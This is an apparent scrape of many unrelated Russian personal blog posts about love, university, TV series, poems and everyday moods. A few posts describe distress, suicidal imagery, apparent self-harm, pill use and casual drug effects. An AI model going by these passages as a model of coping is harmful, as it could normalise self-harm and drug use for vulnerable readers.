Похоже это уже привычка, что то писать ночью.

А писать мне сильно и не о чем. Я уже 2-й день пытаюсь вам рассказать о том, что у меня какие -то страхи внутри, но как только я заканчиваю писать, я все удаляю ибо не то.А страхи у меня - это мои сомнения.Они закрались в мою душу и по крупиночкам там жалят внутри. Сомнения на счет отношений, сомнения на счет моей дальнейшей жизни.Не то все.

Мне страшно за то, что я начинаю сомневаться в Сереже.Или это опять это расстояние на меня давит?Я не знаю, но если я сомневаюсь - это уже не то.

В субботу он приедет ко мне. Но говорить об этом я не могу с ним. Я уже пыталась, но он уверен, что все будет хорошо у нас.Мне бы его уверенность, я бы стены ломала.

я очень рада, что полюбила тебя

Изо всех сил старайся очищать себя от зла к людям. Ибо накапливая в себе зло к людям, накапливаешь яд, который рано или поздно убьет в тебе человека.

– Ошо

*-* Клеточка *-*

Кроет. Минимальный эффект уже, но все-таки что-то. Дрожь в ногах, все губы искусаны мной же, до сих пор подрагивающие в любой попытке улыбнуться. "Я боюсь выходить из машины!" Небольшая тяжесть в голове. Мысли запутанные, но довольно приятно. Раз в полгода можно.

Меня так и тянет к морю.

Одно из мест, где мне хотелось бы жить. Конечно, а кому не хочется?
Только задумываюсь об этом, только представляю, а в голове уже такооое….

Тихое раннее утро, солнце ещё не до конца поднялось, но тёплые лучи уже начинают освещать комнату. Иду на кухню, ставлю чайник, открываю окна и просто дышу. Слышно, как закипает вода, тревожа тишину чайки летят куда-то вдаль. Выхожу на балкон, пью кофе, слушаю звуки волн, которые бьются о скалы.

Иду к морю. Неспеша, медленно, будто оттягивая этот момент - момент встречи. Долгожданной всречи. Стою, вдыхаю этот воздух. Море шумит так, будто соскучилось, встречает, манит к себе… Заходишь по щиколотку, стоишь, думаешь, а волны ласкают, обнимают тебя…. На языке такая приятная солоноватость от этого волшебного воздуха, который пропитан морем, волнами и солнцем. Под ногами приятный, мягкий и тёплый песок… А оно всё шумит, уносит тебя куда-то вдаль, забирает твои печали и невзгоды, словно принимает на себя твои нехорошие воспоминания, а взамен дает чувство защищённости, чувство блаженного равновесия и успокоения.

Присядешь на камень, откроешь книгу (только такую, чтобы не хотелось отрываться до самого вечера), посмотришь на всё это и подумаешь: "Так вот же оно - счастье!". Все эти звуки, запахи, мелочи и кусочки складываются воедино и ты уже на 7 небе от непреодолимого, заполнившего тебя до самых краёв, нескончаемого счастья. И на душе так тепло, уютно и радостно, что хочется поделиться со всеми - раздать каждому по кусочку, хоть по чуть-чуть, чтобы все были такими же окрылёнными.

У моей Лины есть мечта. Хотя, даже не мечта, а цель. По крайней мере, я считаю это полноценной целью, в достижении которой я никогда не смогу усомниться.

Она знает о чём я ;) И, я надеюсь, когда её цель осуществится, то, возможно, когда-нибудь я буду работать на неё и мы обе по утрам будем сидеть на кухне, пить горячий орехово-ирисный/имбирно-пряничный латте, заедать фруктами, слушать море и не думать ни о чём.

Я верю, что у тебя всё получится, моя дорогая Лина!
Может не сейчас, но ты можешь, ты же знаешь :)

Мама делает мне уколы черные, как смола, напоминают даже венозную кровь, но в них очень много железа, достаточно чтобы поднять гемоглобин. Врач сказал, что для этого нужно три месяца. Пока даже не знаю когда вернусь к прежней жизни. Когда вновь пойду на тренировки и начну питаться тем, что хочется. Терпения мне. Кудряшка установил настройки конфедициальности и каждый раз когда натыкаюсь на его страницу от своей минутной грусти будто натыкаюсь на каменную стену. Не знаю даже с чем можно сравнить все это. Стараюсь меньше времени залипать в интернете и больше читать и проводить время с семьей. Сегодня в гости, часика на четыре, пришла Динь. Давненько мы так время вместе не проводили, как сегодня. В общем то, неплохой день. Вечером помогала Бу делать домашнюю работу, очень много смеялись пока составляли биологические цепочки. Господи, я так благодарна тебе за младшего брата. Я безумно люблю этого жирняшку.

глазки у тебя кошачьи, у меня красные
нас нет, может потому что мы - разные
пластырь не остановит кровотечение
ты не цель - ты на пути к не приключение

Я не писала сюда ну ооочень давно уже.Можно ли считать, что все это время я была счастлива? Думаю, нет. Скорее всего, меня просто одолевала лень писать что-либо.Нежелание делиться или что-то вроде этого. У меня все нормально в жизни.Тупые и серые будни в общаге, все без изменений.Поесть, поспать, поучиться.Паразит.

Посвящается моему Университету.

Ты прекрасный. Красивый, интересный, у тебя богатый и насыщенный внутренний мир. Благодаря тебе я знакома со многими замечательными людьми. И я обязательно любила бы тебя, если бы не была так сильно влюблена в другой. Прости.

***

Одним из безусловных достоинств моего университета является мероприятие, проводимое два раза в год и называемое "Проекты социализации". Помните, я писала о нашем маленьком спектакле? Благодаря всему этому я влюбилась, а потом в моей душе случился переворот. Об этом позже, и о том, что такое социализация - тоже. Пока что хочу написать о другом. Сейчас я пересматривала наш спектакль и снова пережила тот океан эмоций, который испытала тогда на сцене, за кулисами и в зрительном зале. Сидела сейчас на стуле, а в животе сначала бабочки порхали, а затем в пляс пустились олени.

Потому что вспомнила все: как Влад держал меня за руку, как то же самое делал Г., как мы с Г. танцевали, как я дико удивилась, увидев свое имя в титрах самым первым, как я ругалась на Г. за то, что он опоздал на главную репетицию на три часа из-за того, что пошел к врачу, как мы выходили на поклоны, как я перекинулась парой фраз с одним из операторов, который интересовался, не мешает ли мне его камера смотреть на сцену (в этом не было бы ничего особенного, если бы потом я не очаровалась этим Мужчиной). Остановись, мгновенье, ты прекрасно! И вернись, прошу, вернись! Помню также, как смотрела с балкона вторую часть проектов, фольклорные танцы, и заметила, что Г. двигается нереально красиво. Танцевальное прошлое не ушло без следа.

И, конечно, я начала скучать снова. Простите, вы, вероятно, все это уже читали другими словами, но я не могу не выговориться.

Мы с Г. год учились в одной школе, только он на класс старше. Никогда не общались там. На первой репетиции осознали это и удивились, ведь показались друг другу знакомыми еще на совместных парах физкультуры. Мне с ним было очень легко, в то время, как с Владом, в которого я была (есть?) влюблена, боялась даже заговорить. Подруги говорили мне о Г.: "Вика, он нереально классный! Посмотри, какой красивый! Как нет? Вот ненормальная!" Серьезно. У них он вызывал больше эмоций, чем у меня… до поры до времени. Однажды мы с ним никак не могли договориться, когда будем ставить сольную часть вальса. После пары физкультуры, когда уже разошлись по домам, спонтанно решили, что сейчас я схожу в душ, ибо надо было помыть голову, и мы встретимся в универе. Так и случилось. Он тянулся ко мне: то приобнимет покрепче в танце, то голову ко мне наклонит (мне даже казалось, что будь я на это согласна, мы бы поцеловались), то на руки поднимет, меня-то, коровушку. Мне с ним было очень весело. Окружающие считают его презрительным человеком, который всех ненавидит. Да, он всегда ходит с таким лицом, что именно так и подумаешь. А еще у него проблемы с родителями и он не из числа счастливых людей, но со мной тогда он был таким открытым, веселым, улыбчивым… Я полюбила такого Г. Не в смысле огромной любви, но таким он мне очень нравится. Напоследок, когда я уже сделала пару шагов в сторону своего общежития, он притянул меня за руку к себе и обнял. Потом позвал гулять. Есессна, я его отшила. Я по-другому с хорошими парнями поступать не умею.: (

Отшивала я его очень мягко пару раз. Просто отказывала в прогулке. И он прекратил что-либо предпринимать. Я ему писала, много писала, он прекратил отвечать. Как-то раз прошел мимо меня со своим другом в общежитии, у нас там пары проходят иногда. В тот момент у меня участилось дыхание и часто забилось сердце, и я поняла, что что-то пошло не так. Во время зачетной недели я видела их группу и подошла. С девочками даже не поздоровалась, так как они были увлечены чем-то другим, а с ними минут десять говорила. И Г. улыбался снова, даже шутил… Но больше ничего не было. Мы сейчас совершенно не общаемся, и я еле сдерживаю себя, чтобы не написать ему о том, как сильно скучаю. Не пишу только потому, что боюсь все испортить. Но так тоскливо. Безумно рада, что у нас снова будут совместные пары физ-ры, и я очень хочу вернуть те его добрые чувства ко мне.

Это не любовь, не влюбленность. Симпатия - возможно. А еще тоска.

С первых дней я на него даже не смотрела только потому, что он, блин, блондин. И ему 18. Не считала его красивым, хотя он, несомненно, такой и есть. Сейчас вижу, насколько он прекрасен. Одни глаза чего только стоят.: (

Никогда не было и не нужны. У меня ровные зубы, зато щель между передними.

безумно полюбила это место. кофейня-кондитерская. по-больше бы таких мест в нашем маленьком городишке. уютное, с джазовой, спокойной музыкой заведение. а этот милый и добрый бариста, приходить туда одно удовольствие. вот и сегодня. я привела туда свою Настю. ой как ей понравилось это место, и кофе, и маффины. просидели больше двух часов (кстати время пролетело совсем незаметно), жаль что работает всего до 10, так бы всю ночь провела там, потягивая вкусный Американо со сливками и болтая обо всем на свете. что мы только не обсудили: и парней, и девушек, и фильмы, и музыку, в общем все все все. но вот настало 10 часов и нам пришлось покинуть это место. не долго думая мы отправились в завсегдатый Октябрь. просидев там около часа, слушая как Настя опять по пьяне пишет всякий бред. мы решили. что пора идти домой. хоть дорога до дома не так далека, мы замерзли как…, даже не знаю как кто, но Насте из-за холода вспомнился фильм Эверест, я была солидарна с ней, холодно было до жути. мы всё же преодолели этот путь и добрались до дома, телефон замерз и выключился, благо дело от Насти до моего дома идти пару минут, иначе я бы не пережила идти без музыки. да, зависимая от музыки. да, без наушников никуда.  

Я обернулась. Точно. Джаспер, Артур, Генри и Грейсон как раз зашли в столовую и, как всегда, все смотрели только на них. Ужасное, должно быть, чувство, когда на тебя так пялятся. Но зачем они расхаживают повсюду вместе, да еще и нога в ногу? Или вот, например, сейчас - зачем они остановились в самом солнечном месте и оглядываются по сторонам, а их волосы блестят всеми оттенками блонда? Чтобы до каждой на свете девчонки дошло наконец, как отлично они выглядят?

здравствуй, моя хиросима.
держи чистосердечное
я буду любить тебя всю зиму,
а зимы тут бесконечные.

выделяют меня курсивом
поцелуи твои
в переходе на "замоскворечную "

я буду любить тебя всю зиму
я обещаю тебе бесконечную.

итак.

я немного в ступоре, даже не знаю с чего начать. начну пожалуй с того, что в моей довольно таки однообразной жизни, случаются интересные вещи: появляются новые люди, а кого-то наоборот теряю (благодаря расстоянию и поведению данного человека). ох уж эта потеря.

но если брать в целом. то этот январь я уже не вывожу. из-за погоды больно никуда не выйдешь, сидеть дома уже не возможно. просто-напросто едет крыша. а еще эти красные обои. уф. скорее бы их сменить.

немного отошла от темы. так вот, январь-сессия. это даже сессией назвать нельзя, едешь в универ, в другой город, только ради того чтобы у тебя расписались в зачетке. давно бы уже сделали так, что если все автоматом (ну или большинство), приезжаешь один раз и все преподаватели сразу все проставляют. это просто гениальная идея! пожалуй как староста, я предложу ее на общем собрании. ну после каникул. ну если не забуду.

а вообще-то каникулы выдались довольно неплохими) встречи с друзями, когда ты приходишь домой под утро. прогулки. просмотры фильмов, довольно таки весело, а порой даже мило.

Знаете как хочется? Чтобы тебя любили так же, как любишь ты. Любили в тебе тебя настоящую. Естественную. Без тонны макияжа, помятую, с растрепанными волосами, синяками под глазами, в мятой футболке. Любили твой несуразный смех, дурацкие истории, подробные мысли. Каждую улыбку целовали в губы, каждый холод обнимали за хрупкие плечи, каждую слезу вытерали тыльной стороной ладони.

Но не любят. Говорят только, что любят. А сами видеть не хотят, потому что ты не накрасилась. Потому что захотела побыть собой. Потому что нет больше желания улыбаться, когда не хочется.

Вот вам и любовь. Приплыли.

недавно в метро вечером зашли пару пареньков. Один интеллигентно поприветствовал всех без традиционных бравад и затеял великолепную инструменталку с чистейшим звуком. От чего-то сняла наушники и тут же окунулась в музыкальное ласковое спокойное море. В кошельке был только медиатор, найденный на могиле Кота. Маленькую фиолетовую фигуленьку неизвестного происхождения, но столь памятную, мозг мгновенно вручил гитаристу. По дороге домой по телу разливалось теплое чувство, что такая маленькая вещица обретает все больше историй. Неделю назад было полгода. Друзей не забывают.

1. Себастьян Стэн

2. Дилан О'Брайен

3. Джонни Депп

4. Леонардо Ди Каприо

5. Крис Эванс

6. Крис Пратт

7. Уилл Смит

8. Джеки Чан

9. Логан Лерман

10. И актер, которого к сожалению уже нет в живых, но он остается любимым…Пол Уокер

ШОК. СЕНСАЦИЯ. БЕЗУМИЕ.

не, серьёзно. вообще такого не ожидал.

главное, проходил я быстро, уверенно, а значит, по большей части выбор должен быть верный. но не успел я опомниться, как вопросы кончились, а на весь экран появилось красное полотно со львом, и надписью Congratulations!

Я НА ГРИФФИНДОРЕ, МЕРЛИН!

минут пять в монитор сидел, уставившись. (фраза построена совершенно неправильно)

я на поттермо забил вот только летом, ибо ниппон и там у них вскоре начались работы по изменению сайта. жаль, что теперь это по большей части просто информационные статьи, тогда было ощущение, что ты и вправду был в замке: с (зелья обожал, а вот дуэли никак не шли хдд) у меня там так и была всего одна учетная запись, под именем FangWizard43 :D я помню, как смог зарегистрироваться, разгадав загадку на третьей книге, если конечно, кто-то помнит, как открывался поттермо х) и тогда, пройдя распределение, мне дали выбор: Рэйвэнкло ор Хаффлпафф. и конечно же я выбрал свой факультет. вперёд, барсучки!: 'DDD (а вообще, я РейвоПафф 100%)

а теперь такая непруха хдд

Гриффиндор люблю (я даже в своём фанфике на Гриффе учусь хД), но зная, что распределение такое же (только иллюстрации на этот раз загляденье), был готов разве что к Рэйву, ни о каком Слизерине и речи быть не могло, и о Гриффиндоре не думал. .

и БАМ, ТОВАРИЩИ :DDD

а палочка порадовала: 3

но гостиная *-*

ребят, гоу в Хогвартс

после-тихий обычный ужин, моют на кухне тарелки вдвоем. и только им одним известно, сколько преодолели, чтобы просто вместе уснуть потом.

6 теплых иллюстраций с ноткой питерской романтики.

Я, по своей натуре, неизлечимый романтик. Может поэтому меня вечно тянет на все прекрасное… Не важно, сейчас не обо мне.
Как всегда, роясь на просторах интернета, я наткнулась на такую красоту. Как пройти мимо? Правильно, это невозможно. Вашему вниманию представляются работы Саши Харитоновой .
Саша Харитонова (Зеленая Лампочка) — молодая художница из Москвы, которая создает потрясающие атмосферные акварели. Ее герои искренни, их неподдельные эмоции, чувства и все тепло отношений мгновенно подкупают зрителей. Саша очень любит Санкт-Петербург, поэтому и ее рисунки пронизаны романтикой этого чудесного города. Некоторые из работ она здорово дополняет ёмкими строчками из песен или собственных стихотворений.

Я прониклась потрясающим теплом этих рисунков и уверена: они согреют и Вас в эти холодные деньки.

В пустыне, в шуме городском
Одной тебе внимать мечтаю;
Твой образ, забываясь сном,
С последней мыслию сливаю.

НУ ДАВАЙ-КА

УСТРОЙ СЕБЕ ДРАМУ

перечитывая переписку со старой подругой, наткнулась на прошлый свой блог.

было достаточно интересно вновь погрузиться в тот мир. прошлый мир. но, прошлое должно оставаться в прошлом) именно поэтому я завела тебя, мой публичный дневник.

множество людей будет натыкаться на тебя, знакомых мне и нет. узнавать что-то новое обо мне и моей жизни. по какой-то, неизвестной мне самой, причине я вновь захотела писать. но вести не блог, а использовать именно как дневник, пусть даже и публичный.

ну-с, в добрый путь)

Ты - разум, а я - чувства

Именно такими словами моя лучшая подруга описала различия в наших характерах, восприятии и прочем. И, наверное, точнее фразы я не слышала.

Я всегда и везде стараюсь мыслить рационально, зрить в корень и искать причинно-следственные связи. Простая, случайно брошенная фраза может стать для меня целой головной болью.

Почему во мне не сочетаются два этих понятия? Почему я всегда только трезво оцениваю, подчиняясь зову разума? Хоть раз я смогу пойти на поводу у чувств?

Розовые очки давно не спутники моих будней. Воздух которым я дышу пропитан им. Страшно признаться что один человек способен заменить весь мир, страшно представить что без него руки предательски мерзнут, а мысли путаются. Уют, то чувство которое не покидает меня рядом с ним. До сих пор поражает когда идёт в укор с моим мнением что он хороший. Не перестаю восхищаться его доброте. Не перестаю восхищаться им. Я люблю его всей своей любовью, так как умею, и он тоже. Я чувствую это. Как то я спросила у бабушки что такое любовь, и она со всей присущей ей серьёзности сказала, что "Любовь моя радость, всегда появляется по разному, но в первую очередь ты должна почувствовать её сердцем, где то там внутри ты почувствуешь когда она придёт". Так и случилось. Задыхаясь от теплоты внутри, я не перестаю верить в неё. Я не перестаю чувствовать. А теперь главное сохранить это тепло внутри, главное не растерять то что успели приобрести. И каждый раз закрывая глаза я говорю спасибо, спасибо за то что есть и за то что мне подарила тебя судьба. И дай Бог сохранить то что мы приобрели.

У всех на этой неделе ужасное настроение, которое переплетается с желанием кого-нибудь прибить ?

Может проблема во мне? Может я и правда много требую, много придираюсь, много прошу? Может я и правда ничего не замечаю? Может я и правда слишком грубая? Может я и правда всегда не права? Может стать паинькой? Изменить тактику? Не продолжать быть такой хуёвой, а начать со всем соглашаться, не придираться, вообще ничего не требовать, только быть ласковой и не замечать ничего плохого, говорить, что всегда и всё хорошо, все удары принимать на себя, и самой себя называть плохой, а потом извиняться, если вдруг накосячу? Может стать тогда овощем?

Ну а какие ещё варианты? Если я всегда такая плохая. Если во всех спорах всё скидывают на меня. Если я всегда толдычу одно и то же, а ничего не меняется. Может значит и проблемы такой нет, раз ничего не меняется?

Может просто перестать за это биться? Ведь мне ничего точно не будут доказывать, и биться будут вряд ли. Может и мне перестать?

Раз я не могу на это забить, может начать просто притворяться, как я делала сейчас это по телефону. Противно? Да. До слёз? Да. Ну и что?

Или делать всё баш на баш, как делают мне? Я сделала неприятно - мне сделают неприятно. Я грубо ответила - мне тоже будут грубо отвечать. А может не звонить и не писать? Мне же можно не звонить и не писать, чтобы я поняла всю ценность. Я, БЛЯТЬ, ПОНЯЛА.

А может просто исчезнуть?

make them suffer – old souls

в однообразии все события спутались, а любая попытка что-нибудь изменить заканчивается той самой, привычной, дорогой домой, где можно забиться в угол.
все либо не то, либо не те, либо не там. будто пытаются одурачить.
без объективного восприятия действительности, в голове обращаюсь за помощью к кому-то, кого и существовать-то не может, и не так посещают мысли о самоубийстве, как представление собственного трупа и того, что с ним будет происходить потом. слишком тошнит. слишком неравноценно. отдавать слова пустоте как-то проще. который раз уже? и который раз не получилось стать добрее.

наш домовой прячется в зале за телевизором. он периодически скрипит там, иногда просто так, иногда в поддержку кого-то, если в комнате спор идет.

когда папа умер, он замолчал. кроме того, у нас в квартире было невыносимо холодно 3 дня. батареи горячие, а на пол наступать невозможно - так холодно.

вчера вечером домовуша отозвался - скрипнул телеком аж трижды. и в квартире потеплело.

—Я всё-таки с Шоном.
-Его здесь нет, он работает.
-Он всегда работает, Эшли.

Какой смысл быть вместе, если мы не вместе.

С большой буквы «Д».

Ситуация печалит, потому что приходится слышать и наблюдать за этим каждый день. Ну, не может у меня быть настолько различно мировоззрение со внешним миром.

Доброта, посмею сказать, это не что-то отдельное, не что-то из, а что ни на есть важнейшее человеческое качество. Это та духовная сила, то маточное направление, на котором зиждятся другие прекрасные вещи, как смелость, благородство, любовь и т.д. Она присуща либо с врожденным уделом (как ни выбивай), либо персонам умным, руководствующимся и сердцем, и принципом "разумной рациональности". Самое прекрасное в ней - отсутствие меры: поддержи друга или искренне пожертвуй крупную сумму на благотворительность - ты одинаково добр. Меня же печалит, как невежественно приравнивают и не разделяют Доброту со слабохарактерностью и безволием, абсолютно иными вещами. Как получилось, что в итоге мы имеем ее блеклую и дешевую репутацию?

«Ты добрый… нелегко тебе по жизни придется».
«Ты добрый… уже переписал на кого-нибудь квартиру?»
И любимое: «Не делай добра - не получишь зла».

[img]

Все же напишу еще один фик.
Меня за посыл в нем точно убьют те, кому я дам прочесть.
А она не найдет.Она и тот то не читала..Зачем все это..
" Но кто еще так любить тебя будет?".Именно ЛЮБИТЬ, а не всякое баловство типа ой мне кажется там чувства го встречаться.Нет.Именно любить.Да никто так не будет.
лайкает посты и даже не задается мыслью о том, которые из них мои.

Независимо от того, мужчина это или женщина, они в поисках такого человека, рядом с которым будет спокойно. И это "спокойно" основано не на отсутствии ссор, или крайних эмоций. Это "спокойно" означает, что рядом человек, который не предаст. С которым приятно проводить время. Человек, которому ты безгранично веришь, доверяешь и делишь всю жизнь только с ним одним.

Ты опять пропал. Боже, да когда же уже будет какая-нибудь стабильность. А ещё эта сессия меня вымучила. Не могу дождаться момента, когда она будет позади. А ещё б понять, напиться или нет

Когда мы что-то покупаем, мы платим не деньгами, мы платим тем временем нашей жизни, которое мы были вынуждены потратить на то, чтобы заработать эти деньги. Разница лишь в том, что невозможно купить жизнь

По-хорошему надо бы лечь спать, но я тот еще плохиш.

Бьютифул

Когда я ночью не могу уснуть, считаю овец, с которыми мой парень когда-либо флиртовал или трахался. Ох и пизды я ему раздам утром.

Cудя по моему росту я — фиксик.

Роби Тёрнер умер от сепсиса в местечке Брэй, 1 июня 40-ого года. В последний день эвакуации. Мне так и не удалось помириться со своей сестрой Сесиллией. Потому что она погибла 15 октября 40-ого года, когда взрыв бомбы уничтожил газовые, водные коммуникации над станцией подземки в Болхэме.

Прошло уже больше 7 лет с выхода этого фильма, а это до сих пор один из самый сердцеразбивательных моментов эвер

Вот начала я принимать таблетки.И не знаю. поможет ли.Ведь я постоянно думаю только об одном человеке-о моей любимой П. Куча сохраненных картиночек, куча песенок-все несет только один посыл: я люблю тебя, ты нужна мне, твоя любовь нужна мне, я хочу чтобы ты была моей невестой, а я твоей.Мн нужна ты, нужна твоя любовь.Потому что ты-мое счастье.Мое любимое и единственное счастье.И мне невыносимо больно.Я ебанько, потому что заказала парные кольца на али экспресс.Я не могу ж теперь одно подарить ей.Как раз на НУЖНЫЙ палец.Меня ранит до сих пор, что мое предложение осталось без ответа, после чего меня выкинули и променяли.
Я сижу и пишу это и мои пальцы красные.Мне только и остается, что самоуничтожать себя.За то, что это Я все разрушила.Потому что говно я а не человек.Мне приснилось, что она написала мне, что любит меня.Я даже во сне почувствовало, как мое сердечко замерло.Пусть это и был всего лишь сон.
Я люблю тебя, мой котик.

Я тут пишу, выворачиваю себя наизнанку, вкладываю МАКСИМУМ чувств..а она даже не читает.или читает, но так, чисто чтобы..что бы что? я не знаю.У нее явно нет никаких эмоций при прочтении.В то время как я пишу обливаясь слезами.Задыхаясь от того, что я к ней испытываю.
Пойду налью себе еще пол бокала крови грешников.Все же думаю, мне придется открыть ту пачку сигарет.
полпакетика запить водой, полтаблетки на ночь.Не плачь.
Господи как же я отчаянно желаю, чтобы ты снова любила меня и была со мной.Прости меня за все, пожалуйста.Я такая дрянь.

так мне и надо.
и все же-я надеюсь.и жду.потому что верная я.

Надоело сидеть вечерами дома. Приходишь с работы, готовка и телек. На работу одеваюсь как лох, т.к. там холодно и одни женщины за 40. О прическе и мейке и речи быть не может. Хочется иногда прийти домой, сбегать в душ, сделать укладку, подкрасить глазки, надеть платьице и уехать навстречу прекрасному вечеру.

обожечкі

я не можу висловити своїх думок

лол

скажу, що сьогодні ппц як пересолила вареники.

https://trustbutverify.viewy.ru/mobile/page/5

Homeland
Pilot + Scenerygasm

И всё-таки я совсем не зимний человек. Мне больше по душе весна. Лёгкая, свободная, живая весна. Я уже живу в ожидании. Мне даже не важно, какая будет погода. Сам факт, что на календаре уже март - будет мне подарком. Всегда ждала весну, она всегда приносила что-то в мою жизнь. В этот раз ничего и никого не жду, хочу обычный март, обычный апрель, обычный май. Хочу жить и наслаждаться жизнью. Жизнью, в которой всё так, как я это построила, как я захотела, как я решила. Счастлива ли я? Да. И это самое важное.

Доброго времени суток вьюи и его обитателям. Постов от меня, как вы могли заметить, не густо, но вот ленту при любой возможности я с удовольствием берусь читать. Спасибо, что вдохновляете меня, что даете советы в личных постах, может даже не подозревая об этом, что помогаете отвлечься от всего надоевшего, что веселите меня, и даже за то, что пишете посты своим языком, дада, именно так. Где-то с крепким словцом, где-то простыми словами (прочитала недавно такой вот твит: цитата простых людей: "тудема-сюдема", не помню автора, но если ты со вьюи - дай нам об этом знать). Так улыбают такие вот фразочки. Есть в них своя изюминка, согласитесь ведь.

Мда, сразу видно - давно не писала. Вступление вышло чуть более объемным, чем я ожидала, ибо словесный поток уже не остановить)

Что ж, новости таковы. НГ я встречала со своей семьей и моим молодым человеком. Сначала погостили у меня, потом поехали к нему. Ну а дальше сами знаете что - сессия. Я сейчас на втором курсе - вспоминаю первый год учебы и сама себе завидую. Всё автоматом, учить ничего не надо, весь январь отдыхала. А нынче чуть с ума не сошла. Очень много готовилась, в итоге всё равно одна 4ка за экзамен. Сказали либо автоматом 4, либо иди решай. Моё решение вы уже знаете.

Мозг говорит, что 4 - хорошая оценка, и что есть вещи намного важнее всего этого. Но! но. Синдром отличницы таки дает о себе знать! Хотя девочки с группы и сказали, что задания на самом экзамене были совсем не похожи на те, что преподша давала нам на подготовку - этим я себя тоже успокаиваю. Не решила бы я на 5 с такой подставой.

Теперь сессия позади, я дома. 31 уезжаю обратно. Снова будет тяжело. Не хочу об этом пока думать. Стараюсь каждый день писать список дел, чтобы не потратить свободное время впустую. Еще много чего по дому делаю. Так приятно радовать маму, когда она приходит с работы поздно, уставшая, а у меня суп на плите и всё убрано:3 Написала суп, потому что в последний раз его варила)

И как всегда не знаю, чем закончить пост. Скажу только, что есть еще мысли, которыми хотелось бы поделиться, но это позже, а то итак много всего наговорила :)

Депресняк, хеллоу! Я тебя не ждала, а ты приперся!

у меня одной, наверное, просмотр сериала зависит от того, есть ли он на лостфильме, аль нет

Я три раза пыталась начать смотреть "Секс в большом городе". И вот только в этот раз это успешно. Потому что мне стало понятно о чем там говорят, это для меня больше не дико и не странно. В общем парня нет, зато сериалы заходят один за другим.

пришла мама С., мама2 как я ее называю, жду того момента, когда смогу просто так ее называть " мама" так ведь намного удобнее, я мыла посуду, раковину, она рассказывала про работу, ну я не выдержала и рассказала ей про разговор с мамой1.она удивилась, говорит - ой, не расстраивайся, но я бы даже не вспомнила про то, что тебе надо куда то бежать.

просто в голове не укладывается. я завтра конечно же никуда не пойду, проведу этот день дома, схожу с С. за подарком своим(флэшка микро на 64 гига), попьем кофе, но ни как не пойду на работу.

готовлю пиццу, варим с мамой2 картошку, грузится мой дом2.я истеричка, кстати пошли кд. на днях их не было, задержка 11 дней + тошнило меня - оказалось воспаление было по женски, продуло меня, вот и задержка..а тошнило из-за того, что я пережрала чеснока.

Homeland (2011 –… ;)

Привет! Сегодня я в кои-то веки пришла на вьюи не жаловаться, а написать большой пост про потрясающий сериал :D

Так как на каникулах лучше быть задротом, а не писать диплом, мой парень вспомнил о том, что какой-то его друг советовал ему посмотреть Homeland , он даже давным-давно его скачал, и вот решил начать. Я в этот момент сидела рядом, и первые несколько минут меня так завлекли, что я даже перестала делать то, чем в тот момент занималась. И потом периодически посматривала на экран его ноута. Правда, я не стала смотреть его в тот же день, но когда увидела, что Никита никак не может оторваться и буквально проглатывает серии одна за другой, решила, что тоже хочу.

Я, наверное, всё же повзрослела, потому что теперь меня явно больше привлекают серьезные сериалы, а не CWшная бредятина :D

Описание:

В центре сюжета находятся сержант морской пехоты ВМФ США Николас Броуди, вернувшийся домой после восьми лет отсутствия без вести в Ираке, и Кэрри Мэтисон, офицер ЦРУ, которая подозревает его в причастности к подготовке террористической атаки на Америку. Руководство страны и общественность верят, что сержант Броуди — герой войны, и это ещё больше усложняет расследование.

Здесь будет всё: интриги, слежка, ссоры, секс (я бы даже сказала, что в первых сезонах секса больше, чем в Игре престолов), алкоголь, шпионы, террористы, политика, невероятное напряжение и невероятная реалистичность. В сериале на данный момент 5 сезонов, и немного проигрывает остальным лишь последний. В конце третьего сезона случится кое-что, после чего будет непонятно, как смотреть сие действие дальше, про что они могут снимать, но 4 сезон будет таким захватывающим, что оторваться невозможно.

Актеры здесь просто невероятные.
Кэрри играет потрясающая Клэр Дэйнс. На самом деле, я никогда не думала, что назову её потрясающей, для меня она всегда была в меру симпатичной актрисулькой среднего звена. Но она такая a-m-a-z-i-n-g в Хоумлэнде, что я совершенно не удивлена её двум Золотым глобусам за лучшую женскую роль в драматическом сериале. Скорее я удивлена тому, что их всего лишь два.
Броуди - это Дэмиэн Льюис, ещё один недооцененный мною ранее человек, заслуживающий гораздо больше, чем один Золотой глобус за лучшую мужскую роль в драматическом сериале. Он настолько хорош, что бо́льшую часть первого сезона я ненавидела Броуди всей душой, а потом почти с такой же силой прониклась к нему, стала понимать и, пожалуй, даже полюбила.

FUN FACT: я не имела совершенно никакого понятия, что он муж Хелен МакКрори и что у них двое детей :D

Также одним из главных героев, невероятно находчивым, умным и хитрым Солом Беренсоном, будет Мэнди Пэтинкин, а во втором сезоне к ним прибавится Руперт Фрэнд, играющий Питера Куинна.

Я досмотрела Homeland дня 3 назад и всё никак не могу придумать, чем мне теперь заниматься и что смотреть, потому что теперь почти любой сериал кажется неинтересным и дурацким, и вообще жизнь стала какой-то пустой. Я когда-то в своей "рецензии" к The Carrie Diaries употребила фразу: "Каждый просмотренный фильм/сериал, прочитанная книга, услышанная песня меняет нашу жизнь. "Дневники Кэрри" изменили мою". Так вот уж если ДК изменили мою жизнь, то здесь просто атомный взрыв произошел. Поверьте, вы не пожалеете.

P.S.: наши сняли свою версию " Родины ", которую я не смотрела и смотреть не собираюсь, ибо мне вполне хватило трейлера: полное отсутствие интриги за счет совершенно повторяющихся происшествий, диалогов и не особо выдающейся актерской игры. Наверное, единственное отличие в том, что действие связано с событиями в Чечне, да в "русском колорите".

смотреть, переживать, грызть ногти, плакать!
9 из 10

Почему он выглядит таким злым когда ест? :DD

Парижская неделя моды. Couture spring 2016. Детали с показа Armani Prive

ахахахахахаххаахаххаа

Разве ради этого я приезжаю сюда? Разве для того, чтобы сидеть в 4 стенах не выходя из дома аообще. Злит диплом, здоровье, друзья, деньги. А если уж честно, злю себя сама. Почему то ничего не хочу делать одна.

привет, viewy мир!

не знаю, что в свои 20,9 лет я тут делаю, однако душа принудила быть здесь.

для чего мне это надо?

как вполне нормальный (хе-хе), здорово-мыслящий и уважающий себя человек, я порой болею синдромом 'hate people', так вот, здесь будут мои:

• плаксиво-депрессивные мыслишки;
• амбициозные и громкие планы на будущее;
• самокритика;
• просто критика;
• музыка;
• прочитанные мною книги;
• вызов по книгам и многое-многое-многое другое.

надеюсь, мы поладим (:

